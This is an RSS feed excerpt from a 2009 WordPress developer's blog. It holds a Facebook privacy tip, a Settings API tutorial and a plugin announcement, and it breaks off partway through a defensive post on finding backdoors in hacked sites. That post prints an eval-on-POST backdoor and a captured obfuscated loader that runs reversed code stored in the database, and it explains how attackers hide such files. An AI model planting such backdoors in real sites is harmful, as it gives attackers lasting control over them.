	<feedburner:origLink>http://ottodestruct.com/blog/2009/twitter-geolocation/</feedburner:origLink></item>
		<item>
		<title>Why I won’t give you my phone number on Facebook</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/eJ_zPnWE2rU/</link>
		<comments>http://ottodestruct.com/blog/2009/facebook-phonebook-is-awesome/#comments</comments>
		<pubDate>Tue, 17 Nov 2009 16:14:01 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[General Spew]]></category>
		<category><![CDATA[Linkery]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[idiots]]></category>
		<category><![CDATA[phonebook]]></category>
		<category><![CDATA[privacy]]></category>
		<category><![CDATA[techcrunch]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=603</guid>
		<description>Why won&amp;#8217;t I give you my phone number on Facebook?
Because if you knew what you were doing, you wouldn&amp;#8217;t need to ask me for it.
I was reading through my normal morning selection when I ran across this article on TechCrunch detailing how they tricked a bunch of people into giving up their phone number openly.
People, [...]</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2009/facebook-phonebook-is-awesome/" type="box_count"></fb:share-button><p>Why won&#8217;t I give you my phone number on Facebook?</p>
<p>Because if you knew what you were doing, you wouldn&#8217;t need to ask me for it.</p>
<p>I was reading through my normal morning selection when I ran across this article on TechCrunch <a href="http://www.techcrunch.com/2009/11/16/lost-my-phone-give-me-your-number-groups-on-facebook-are-a-spammers-paradise/">detailing how they tricked a bunch of people</a> into giving up their phone number openly.</p>
<p>People, this is unnecessary. Why are you falling for this kind of nonsense?</p>
<p>If you lose your phone, here&#8217;s how to get those numbers back. More to the point, here&#8217;s how you can get your number to your friends *without* having them ask for it and without it being public knowledge.</p>
<p><span id="more-603"></span></p>
<h3>Step 1: Set the privacy settings up properly</h3>
<p>First, go to the Settings dropdown menu and select Privacy Settings. Then select your Profile, and then click the Contact Information tab. You&#8217;ll be here:</p>
<p><a href="http://ottodestruct.com/blog/wp-content/uploads/2009/11/fb1.png"><img class="aligncenter size-full wp-image-604" title="Facebook Privacy Screen" src="http://ottodestruct.com/blog/wp-content/uploads/2009/11/fb1.png" alt="Facebook Privacy Screen" width="631" height="421" /></a></p>
<p>All you have to do is select which people you want to be able to see your phone number. I expect you&#8217;ll want &#8220;Only Friends&#8221; to see them. The &#8220;Limited Profile&#8221; thing is normally excluded from these as well.</p>
<h3>Step 2:  Put in your own phone number</h3>
<p>This one is easy. Go to your profile page. Click the Info tab. Click to edit the information. Under your contact info, put in the phone number. Hey, you just set it up so only your Friends can see it, so those are the people you&#8217;d want to have it. If you&#8217;re friends with somebody you *don&#8217;t* want to have it, put that friend into the Limited Profile so they can&#8217;t see it. Although frankly, in that case, I&#8217;d reconsider your &#8220;friendship&#8221;.</p>
<p><a href="http://ottodestruct.com/blog/wp-content/uploads/2009/11/fb3.png"><img class="aligncenter size-full wp-image-605" title="Facebook Contact Info Page" src="http://ottodestruct.com/blog/wp-content/uploads/2009/11/fb3.png" alt="Facebook Contact Info Page" width="775" height="479" /></a></p>
<p>&nbsp;</p>
<p>Simple enough.</p>
<h3>Step 3: Use the phonebook when you need numbers</h3>
<p>Click the Friends dropdown at the top, and select &#8220;All Friends&#8221;. On the left hand side of the page is the &#8220;Phonebook&#8221;. Click it.</p>
<p><a href="http://ottodestruct.com/blog/wp-content/uploads/2009/11/fb2.png"><img class="aligncenter size-full wp-image-606" title="Facebook Phonebook" src="http://ottodestruct.com/blog/wp-content/uploads/2009/11/fb2.png" alt="Facebook Phonebook" width="773" height="397" /></a></p>
<p>See how easy that is?</p>
<p>So seriously, stop falling for these scams, people. Use the phonebook. Use the privacy settings. Facebook is perfectly secure, it&#8217;s *people* that are idiots and who willingly give out personal information. Take the time to go through your Privacy Settings and make stuff private properly. It&#8217;ll save you a lot of effort and annoyance in the long run.</p>
<p>While you&#8217;re at it, do yourself a favor and put your Friends into groups, like Work, Family, Drinking Buddies, etc. Then when you setup your privacy settings, you can exclude specific groups of people from seeing specific types of things. Might save your job, you know?</p>
<p>&nbsp;</p>

<p><a href="http://feedads.g.doubleclick.net/~a/-9DsR7KzmEbi5xdkbbyjINgRJ4Q/0/da"><img src="http://feedads.g.doubleclick.net/~a/-9DsR7KzmEbi5xdkbbyjINgRJ4Q/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/-9DsR7KzmEbi5xdkbbyjINgRJ4Q/1/da"><img src="http://feedads.g.doubleclick.net/~a/-9DsR7KzmEbi5xdkbbyjINgRJ4Q/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=eJ_zPnWE2rU:D62RHflloXM:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=eJ_zPnWE2rU:D62RHflloXM:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=eJ_zPnWE2rU:D62RHflloXM:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=eJ_zPnWE2rU:D62RHflloXM:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=eJ_zPnWE2rU:D62RHflloXM:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=eJ_zPnWE2rU:D62RHflloXM:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=eJ_zPnWE2rU:D62RHflloXM:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/eJ_zPnWE2rU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2009/facebook-phonebook-is-awesome/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
	
		<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2009/11/fb1-150x100.png" />
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2009/11/fb1.png" medium="image">
			<media:title type="html">Facebook Privacy Screen</media:title>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2009/11/fb1-150x100.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2009/11/fb3.png" medium="image">
			<media:title type="html">Facebook Contact Info Page</media:title>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2009/11/fb3-150x92.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2009/11/fb2.png" medium="image">
			<media:title type="html">Facebook Phonebook</media:title>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2009/11/fb2-150x77.png" />
		</media:content>
	<feedburner:origLink>http://ottodestruct.com/blog/2009/facebook-phonebook-is-awesome/</feedburner:origLink></item>
		<item>
		<title>WordPress Settings API Tutorial</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/G8Q1WKnO2AA/</link>
		<comments>http://ottodestruct.com/blog/2009/wordpress-settings-api-tutorial/#comments</comments>
		<pubDate>Tue, 03 Nov 2009 22:49:55 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[api]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[settings]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=583</guid>
		<description>When writing the Simple Facebook Connect plugin, I investigated how the Settings API worked. It&amp;#8217;s relatively new to WordPress (introduced in version 2.7), and many things I read said that it was much easier to use.
It is much easier to use in that it makes things nice and secure almost automatically for you. No confusion [...]</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2009/wordpress-settings-api-tutorial/" type="box_count"></fb:share-button><p>When writing the <a href="http://ottodestruct.com/blog/wordpress-plugins/simple-facebook-connect/">Simple Facebook Connect</a> plugin, I investigated how the <a href="http://codex.wordpress.org/Settings_API">Settings API</a> worked. It&#8217;s relatively new to WordPress (introduced in version 2.7), and many things I read said that it was much easier to use.</p>
<p>It is much easier to use in that it makes things nice and secure almost automatically for you. No confusion about nonces or anything along those lines. However, it&#8217;s slightly more difficult to use in that there&#8217;s very little good documentation for it. Especially for the most common case: Making your own settings page.</p>
<p>So, here is my little documentation attempt.</p>
<p><span id="more-583"></span></p>
<h3>Making your own settings page</h3>
<p>First, add yourself an options page. Code to do that:</p>
<pre class="brush: php;">
&lt;?php // add the admin options page
add_action('admin_menu', 'plugin_admin_add_page');
function plugin_admin_add_page() {
add_options_page('Custom Plugin Page', 'Custom Plugin Menu', 'manage_options', 'plugin', 'plugin_options_page');
}
?&gt;
</pre>
<p>What this does is quite simple, really:</p>
<p>a. It adds a link under the settings menu called &#8220;Custom Plugin Menu&#8221;.<br />
b. When you click it, you go to a page with a title of &#8220;Custom Plugin Page&#8221;.<br />
c. You must have the &#8220;manage_options&#8221; capability to get there though (admins only).<br />
d. The link this will be will in fact be /wp-admin/options-general.php?page=plugin (so &#8220;plugin&#8221; needs to be something only you will use).<br />
e. And the content of the page itself will be generated by the &#8220;plugin_options_page&#8221; function.</p>
<p>Oh wait, we need that function! Let&#8217;s go ahead and create that, shall we?</p>
<pre class="brush: php;">
&lt;?php // display the admin options page
function plugin_options_page() {
?&gt;
&lt;div&gt;
&lt;h2&gt;My custom plugin&lt;/h2&gt;
Options relating to the Custom Plugin.
&lt;form action=&quot;options.php&quot; method=&quot;post&quot;&gt;
&lt;?php settings_fields('plugin_options'); ?&gt;
&lt;?php do_settings_sections('plugin'); ?&gt;

&lt;input name=&quot;Submit&quot; type=&quot;submit&quot; value=&quot;&lt;?php esc_attr_e('Save Changes'); ?&gt;&quot; /&gt;
&lt;/form&gt;&lt;/div&gt;

&lt;?php
}?&gt;
</pre>
<p>Hang on a minute, where&#8217;s all the options? Well, here&#8217;s where the Settings API kicks in a bit. Up to now, this has been more or less the same as previous tutorials. Adding the options pages is really quite easy. But now, we&#8217;re going to use two new functions.</p>
<p>First, we call settings_fields(&#8216;plugin_options&#8217;). This outputs the hidden bits that we need to make our options page both do what we want and to make it secure with a nonce. The string &#8220;plugin-options&#8221; can be anything, as long as it&#8217;s unique. There is another call we&#8217;re going to have to make with this same string later.</p>
<p>Next, we call do_settings_sections(&#8216;plugin&#8217;). This is going to output all of our input fields. Text input boxes, radio fields, anything we like. Obviously though, we have to tell it what those fields are and look like somewhere. We do both of these things in the next section.</p>
<h3>Defining the settings</h3>
<pre class="brush: php;">
&lt;?php // add the admin settings and such
add_action('admin_init', 'plugin_admin_init');
function plugin_admin_init(){
register_setting( 'plugin_options', 'plugin_options', 'plugin_options_validate' );
add_settings_section('plugin_main', 'Main Settings', 'plugin_section_text', 'plugin');
add_settings_field('plugin_text_string', 'Plugin Text Input', 'plugin_setting_string', 'plugin', 'plugin_main');
}?&gt;
</pre>
<p>Here we&#8217;ve done three things. Let&#8217;s break that down, shall we?</p>
<pre class="brush: php;">
&lt;?php register_setting( 'plugin_options', 'plugin_options', 'plugin_options_validate' );?&gt;
</pre>
<p>First, we register the settings. In my case, I&#8217;m going to store all my settings in one options field, as an array. This is usually the recommended way. The first argument is a group, which needs to be the same as what you used in the settings_fields function call. The second argument is the name of the options. If we were doing more than one, we&#8217;d have to call this over and over for each separate setting. The final arguement is a function name that will validate your options. Basically perform checking on them, to make sure they make sense.</p>
<p>Ignoring the validation function for a moment, lets move on to the setting section. This one is actually quite simple.</p>
<pre class="brush: php;">
&lt;?php add_settings_section('plugin_main', 'Main Settings', 'plugin_section_text', 'plugin'); ?&gt;
</pre>
<p>This creates a &#8220;section&#8221; of settings.<br />
The first argument is simply a unique id for the section.<br />
The second argument is the title or name of the section (to be output on the page).<br />
The third is a function callback to display the guts of the section itself.<br />
The fourth is a page name. This needs to match the text we gave to the do_settings_sections function call.</p>
<p>That function callback in the third argument should look a bit like this:</p>
<pre class="brush: php;">
&lt;?php function plugin_section_text() {
echo '&lt;p&gt;Main description of this section here.&lt;/p&gt;';
} ?&gt;
</pre>
<p>Simple, really. You can put any HTML you like here.</p>
<p>Now that we&#8217;ve talked about the section itself, we need to talk about the fields in that section.</p>
<pre class="brush: php;">
&lt;?php add_settings_field('plugin_text_string', 'Plugin Text Input', 'plugin_setting_string', 'plugin', 'plugin_main'); ?&gt;
</pre>
<p>The first argument is simply a unique id for the field.<br />
The second is a title for the field.<br />
The third is a function callback, to display the input box.<br />
The fourth is the page name that this is attached to (same as the do_settings_sections function call).<br />
The fifth is the id of the settings section that this goes into (same as the first argument to add_settings_section).</p>
<p>The only difficult one here is, again, the callback. Let&#8217;s look at that, shall we?</p>
<pre class="brush: php;">
&lt;?php function plugin_setting_string() {
$options = get_option('plugin_options');
echo &quot;&lt;input id='plugin_text_string' name='plugin_options[text_string]' size='40' type='text' value='{$options['text_string']}' /&gt;&quot;;
} ?&gt;
</pre>
<p>Simple. It just gets the options then outputs the input HTML for it. Note the &#8220;name&#8221; is set to plugin_options[text_string]. This is not coincidence, the name *must* start with plugin_options in our case. Why? Because that is the second argument we passed to register_settings.</p>
<p>The settings pages use a whitelist system. Only valid options get read. Anything else gets tossed out, for security. Here, we&#8217;re using a php trick. PHP interprets an incoming GET or POST data of name[thing] as being an array called name with &#8216;thing&#8217; as one of the elements in it. So, all our options are going to take the form of plugin_options[some_thing], so that we get that single array back, and the array name itself is whitelisted.</p>
<p>Since this is designed with security in mind, we have one last callback to deal with: The validation callback that we skipped earlier:</p>
<pre class="brush: php;">
&lt;?php // validate our options
function plugin_options_validate($input) {
$newinput['text_string'] = trim($input['text_string']);
if(!preg_match('/^[a-z0-9]{32}$/i', $newinput['text_string'])) {
$newinput['text_string'] = '';
}
return $newinput;
}
?&gt;
</pre>
<p>Here I&#8217;m taking a liberty with the code. I&#8217;m going to say that our text_string has to be exactly 32 alphanumerics long. You can actually validate any way you want in here. The point of this function is simply to let you check all the incoming options and make sure they are valid in some way. Invalid options need to be fixed or blanked out. Finally, you return the whole input array again, which will get automatically saved to the database.</p>
<p>Take special note of the fact that I don&#8217;t return the original array. One of the drawbacks of this sort of approach is that somebody could, in theory, send bad options back to the plugin. These would then be in the $input array. So by validating my options and *only* my options, then any extra data they send back which might make it here gets blocked. So the validation function not only makes sure that my options have valid values, but that no other options get through. In short, $input is untrusted data, but the returned $newinput should be trusted data.</p>
<h3>And we&#8217;re done. Wait, what?</h3>
<p>Yes, the whole point of this exercise is that the options are automatically saved for you. And everything else. You have an options page, you have fields on it, you are validating them&#8230; and that&#8217;s it. The actual *display* of the page is even done for you. Remember the input we made? It&#8217;ll get put into a table with the title on the left side before it, waiting for input.</p>
<p>Another nice thing is that this is easily expandable. For each option to add we:<br />
1. Do a new add_settings_field call.<br />
2. Make the function to display that particular input.<br />
3. Add code to validate it when it comes back to us from the user.</p>
<p>To add a new section, you:<br />
1. Do a new add_settings_section call.<br />
2. Make the function to display any descriptive text about it.<br />
3. Add settings fields to it as above.</p>
<h3>One last thing</h3>
<p>Sometimes we don&#8217;t need a whole page. Sometimes we only have one setting, and it would work well on some existing page. Maybe on the general page, or the discussion page. Well, we can add settings to those too!</p>
<p>If you look through the core code, you&#8217;ll find references like do_settings_sections(&#8216;general&#8217;) or do_settings_sections(&#8216;writing&#8217;), and so on. These you can add on to like any others, getting your settings on the main WordPress settings pages instead of having to make your own.</p>
<p>Just do this:<br />
1. Make an add_settings_section call. The last argument should be &#8220;general&#8221;, or wherever you want to add your new section.<br />
2. Add fields to your new section, using add_settings_field.<br />
3. You still need to make your own settings whitelisted. To do this, you&#8217;ll need to make a call to settings_fields. The first argument should be the same as the page name, like &#8216;general&#8217;, or wherever you&#8217;re putting your settings. This will let that page recognize and allow your settings to come through.</p>
<p>All the callbacks will basically be the same for this method. You&#8217;re just skipping a step of making your own page. Easy.</p>
<p>And there you go. More reading: <a title="Settings API on WordPress Codex" href="http://codex.wordpress.org/Settings_API">http://codex.wordpress.org/Settings_API</a></p>

<p><a href="http://feedads.g.doubleclick.net/~a/EdkUguXZBDXrr1-UFcd0wifFPvM/0/da"><img src="http://feedads.g.doubleclick.net/~a/EdkUguXZBDXrr1-UFcd0wifFPvM/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/EdkUguXZBDXrr1-UFcd0wifFPvM/1/da"><img src="http://feedads.g.doubleclick.net/~a/EdkUguXZBDXrr1-UFcd0wifFPvM/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=G8Q1WKnO2AA:qr0QpTdA10w:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=G8Q1WKnO2AA:qr0QpTdA10w:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=G8Q1WKnO2AA:qr0QpTdA10w:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=G8Q1WKnO2AA:qr0QpTdA10w:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=G8Q1WKnO2AA:qr0QpTdA10w:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=G8Q1WKnO2AA:qr0QpTdA10w:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=G8Q1WKnO2AA:qr0QpTdA10w:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/G8Q1WKnO2AA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2009/wordpress-settings-api-tutorial/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
	
	<feedburner:origLink>http://ottodestruct.com/blog/2009/wordpress-settings-api-tutorial/</feedburner:origLink></item>
		<item>
		<title>Simple Facebook Connect</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/HYheOUdR3bQ/</link>
		<comments>http://ottodestruct.com/blog/2009/simple-facebook-connect/#comments</comments>
		<pubDate>Tue, 27 Oct 2009 15:47:41 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[connect]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[sfc]]></category>
		<category><![CDATA[simple facebook connect]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=579</guid>
		<description>Working on a new WordPress plugin lately. It&amp;#8217;s basically a simple and easy way to make Facebook Connect work with your WordPress based website.
More info about it here: Simple Facebook Connect.
Short list of current features:

Simple 2 step setup for Facebook Connect. Just create the App via Facebook and paste in the API key.
Share button, with [...]</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2009/simple-facebook-connect/" type="box_count"></fb:share-button><p>Working on a new WordPress plugin lately. It&#8217;s basically a simple and easy way to make Facebook Connect work with your WordPress based website.</p>
<p>More info about it here: <a title="Simple Facebook Connect" href="http://ottodestruct.com/blog/wordpress-plugins/simple-facebook-connect/">Simple Facebook Connect</a>.</p>
<p>Short list of current features:</p>
<ul>
<li>Simple 2 step setup for Facebook Connect. Just create the App via Facebook and paste in the API key.</li>
<li>Share button, with meta support.</li>
<li>User status widget</li>
<li>Comment using Facebook Identity (alpha, not operational, for testing only, will be working soon).</li>
</ul>
<p>Like most things I announce early, it&#8217;s not fully featured yet. I&#8217;m modifying and adding onto it as I go along, so expect a lot of updates to show up in the plugin list if you use it.</p>
<p>And if you have ideas for how to improve it, please <a href="mailto:otto@ottodestruct.com">email them to me</a>. <img src='http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>

<p><a href="http://feedads.g.doubleclick.net/~a/P5bxyWHxNqnpfa55fnpBH2L7j38/0/da"><img src="http://feedads.g.doubleclick.net/~a/P5bxyWHxNqnpfa55fnpBH2L7j38/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/P5bxyWHxNqnpfa55fnpBH2L7j38/1/da"><img src="http://feedads.g.doubleclick.net/~a/P5bxyWHxNqnpfa55fnpBH2L7j38/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=HYheOUdR3bQ:-ufB9v4Kdrw:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=HYheOUdR3bQ:-ufB9v4Kdrw:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=HYheOUdR3bQ:-ufB9v4Kdrw:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=HYheOUdR3bQ:-ufB9v4Kdrw:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=HYheOUdR3bQ:-ufB9v4Kdrw:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=HYheOUdR3bQ:-ufB9v4Kdrw:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=HYheOUdR3bQ:-ufB9v4Kdrw:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/HYheOUdR3bQ" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2009/simple-facebook-connect/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
	<georss:point>35.1461258 -90.0536575</georss:point>
	<feedburner:origLink>http://ottodestruct.com/blog/2009/simple-facebook-connect/</feedburner:origLink></item>
		<item>
		<title>How to find a backdoor in a hacked WordPress</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/VcDNPgAM1PE/</link>
		<comments>http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/#comments</comments>
		<pubDate>Mon, 21 Sep 2009 21:14:21 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[General Spew]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Linkery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[malicious]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[spammer]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=555</guid>
		<description>Over here, Jorge Escobar is writing about how he got hacked with the latest version of WordPress. After some minor back and forth on FriendFeed, I got him to do a search which found a malicious backdoor he might not otherwise have found.
In so doing, it occurred to me that most people don&amp;#8217;t keep up [...]</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/" type="box_count"></fb:share-button><p>Over <a href="http://jungleg.com/2009/09/21/feeling-secure-with-the-latest-wordpress-version-think-again-and-7-tips-to-secure-it/">here</a>, Jorge Escobar is writing about how he got hacked with the latest version of WordPress. After some <a href="http://friendfeed.com/jungleg/5e3b8b40/feeling-secure-with-latest-wordpress-version">minor back and forth on FriendFeed</a>, I got him to do a search which found a malicious backdoor he might not otherwise have found.</p>
<p>In so doing, it occurred to me that most people don&#8217;t keep up with the world of WordPress in the way I do, and so have not seen nearly as many hack attempts. So I figured I&#8217;d post my little contribution, and show people how to find hidden backdoors when cleaning up their hacked sites.</p>
<p>Non-technical users can safely ignore this post. <img src='http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
<span id="more-555"></span></p>
<p>What&#8217;s a backdoor? Well, when somebody gets into your site, the very first thing that happens is that a backdoor is uploaded and installed. These are designed to allow the hacker to regain access after you find and remove him. Done craftily, these backdoors will often survive an upgrade as well, meaning that you stay vulnerable forever, until you find and clean the site up.</p>
<p>However, let&#8217;s be clear here: After you get hacked, the ONLY way to be 100% secure is to restore the entire site to a period before you were hacked, and then upgrade and/or patch whatever hole the hacker used to gain entry. Manual cleanup of a site is risky, because you might miss something. It&#8217;s also time-consuming. But, if you don&#8217;t have regular backups, you may have no real choice.</p>
<p>First, the obvious stuff:</p>
<ul>
<li>A backdoor is code that has been added to your site.</li>
<li>It will most likely be code not in the normal WordPress files. It could be in the theme, it could be in a plugin, it could be in the uploads directory.</li>
<li>It will be disguised to seem innocuous, or at least non threatening.</li>
<li>It will most likely involve additions to the database.</li>
</ul>
<p>Let&#8217;s go over these individual points one at a time.</p>
<h3>Added code</h3>
<p>While it&#8217;s true that simple &#8220;backdoors&#8221; often take the form of hidden admin users, generally complex backdoor code is simpler than that. It simply gives the attacker the means to any PHP code they like, usually through the use of the <a href="http://us.php.net/eval">eval</a> command.</p>
<p>A simple example would be this:</p>
<pre class="brush: php;">eval($_POST['attacker_key']);</pre>
<p>This, very simply, executes any PHP code sent to it from a browser.</p>
<p>Of course, they wouldn&#8217;t put this code just anywhere&#8230; It has to not be that easy to find, and it has to survive a normal WordPress upgrade.</p>
<h3>How to hide code</h3>
<p>First, we have to consider where we can put our malicious code. A WordPress upgrade deletes a lot of directories. There&#8217;s three obvious places:</p>
<p>1. Themes. Good plan, themes survive core updates. However, people tend to edit their themes a lot. Also theme names change around a fair amount, so doing this automatically is difficult.</p>
<p>2. Plugins. Plugins are a good place to hide code. People don&#8217;t generally look at them in detail, and many plugins have vulnerabilities of their own that might be exploitable. Some of them even keep some of their directories writable, meaning we can directly upload our backdoor code to there easily, after we gain access.</p>
<p>3. Uploads. Perfect. It&#8217;s explicitly designed to be writable. People don&#8217;t generally see what&#8217;s in the folders, since they&#8217;re just looking at the normal interface in WordPress. This is where something like 80% of backdoor codes get put.</p>
<h3>The art of disguise</h3>
<p>This one is easy.</p>
<p>Step 1: Pick a name that looks harmless.</p>
<p>wp-cache.old. email.bak. wp-content.old.tmp. Something you won&#8217;t think of. Remember, it doesn&#8217;t have to end with PHP just because it&#8217;s got PHP code in it.</p>
<p>Step 2: Hide the code itself.</p>
<p>Except in <a href="http://wordpress.org/extend/plugins/php-code-widget/">special circumstances</a>, legitimate code will not use &#8220;eval&#8221;. But, it happens often enough to be generally considered not harmful in and of itself. So looking for &#8220;eval&#8221; is not a good way to find malicious code.</p>
<p>However, attackers need to disguise their attacks over the wire as well, to prevent hosts from blocking them. The easy and cheap way to do this is <a href="http://us3.php.net/base64_encode">base64 encoding</a>.</p>
<p>Base 64 encoding lets them disguise their commands to their hidden &#8220;eval&#8221; command to be just a random looking string of letters and numbers. This is usually enough to get by any server filtering. However, this does mean that their code will have one tale-tell thing in it: <a href="http://php.net/base64_decode">base64_decode</a>.</p>
<p>Base64_decode (and the similar uudecode) are the main way to find malicious code used today. There&#8217;s almost never a good reason to use them. Note the &#8220;almost&#8221; there, many plugins (notably the venerable <a href="http://wordpress.org/extend/plugins/google-sitemap-generator/">Google Sitemap Generator</a>) use base64_decode in legitimate ways. So it&#8217;s not exactly a smoking gun, but it is <em>highly</em> questionable for some randomly named file lying around to have that inside it.</p>
<p>Smarter authors realize this, and so have taken steps to hide even that sign&#8230;</p>
<h3>Database obfuscation</h3>
<p>Here&#8217;s a bit of code I&#8217;ve seen around recently. This code does something really clever. Note that it was heavily obfuscated by including hundreds of line of randomness, hidden in /* PHP comments */. This is why having a text editor with code and syntax coloring can be very handy.</p>
<p>Note, this code was in a file named wp-cache.old in the wp-content/uploads directory. It was <a href="http://us.php.net/manual/en/function.include.php">included</a> at the end of the wp-config.php (also a file that usually does not get overwritten in an upgrade).</p>
<pre class="brush: php;">global $wpdb;
$trp_rss=$wpdb-&gt;get_var(
&quot;SELECT option_value FROM $wpdb-&gt;options WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'&quot;);
preg_match(&quot;!events or a cale\&quot;\;s\:7\:\'(.*?)\'!is&quot;,$trp_rss,$trp_m);
$trp_f=create_function(&quot;&quot;,strrev($trp_m[1]));
$trp_f();
</pre>
<ol>
<li>It retrieves a value from the WordPress database.</li>
<li>It pulls a specific section of that value out.</li>
<li>It creates a function to run that value as PHP code.</li>
<li>It runs that function.</li>
</ol>
<p>Note how it cleverly avoids all the warning signs.</p>
<ul>
<li>Nowhere does it use &#8220;eval&#8221;.</li>
<li>base64 is not visible at all.</li>
<li>The function named strrev is used. strrev reverses a string. So the code that it&#8217;s pulling out is reversed! So much for looking for &#8220;base64_decode&#8221;.</li>
</ul>
<p>The actual value in the database looked like this:</p>
<pre>...a bunch of junk here...J3byJXZ"(edoced_46esab(lave</pre>
<p>Reverse that. What do you have? Why, it&#8217;s our old friends eval and base64_decode. Clever. Searching the files for these two warning signs would have uncovered nothing at all. Searching the database for same would have also shown nothing.</p>
<p>The key it used, BTW (rss_f541b3abd05e7962fcab37737f40fad8) is also designed to be nonthreatening. WordPress itself creates several similar looking keys as part of its RSS feed caching mechanism.</p>
<p>So, break down how this code works.</p>
<ol>
<li>The hacked wp-config.php code causes an include of a nondescript file, called wp-cache.old.</li>
<li>That code, which does not use any trigger words, loads a nondescript value from the options table.</li>
<li>It performs some string operations on that code, then executes it.</li>
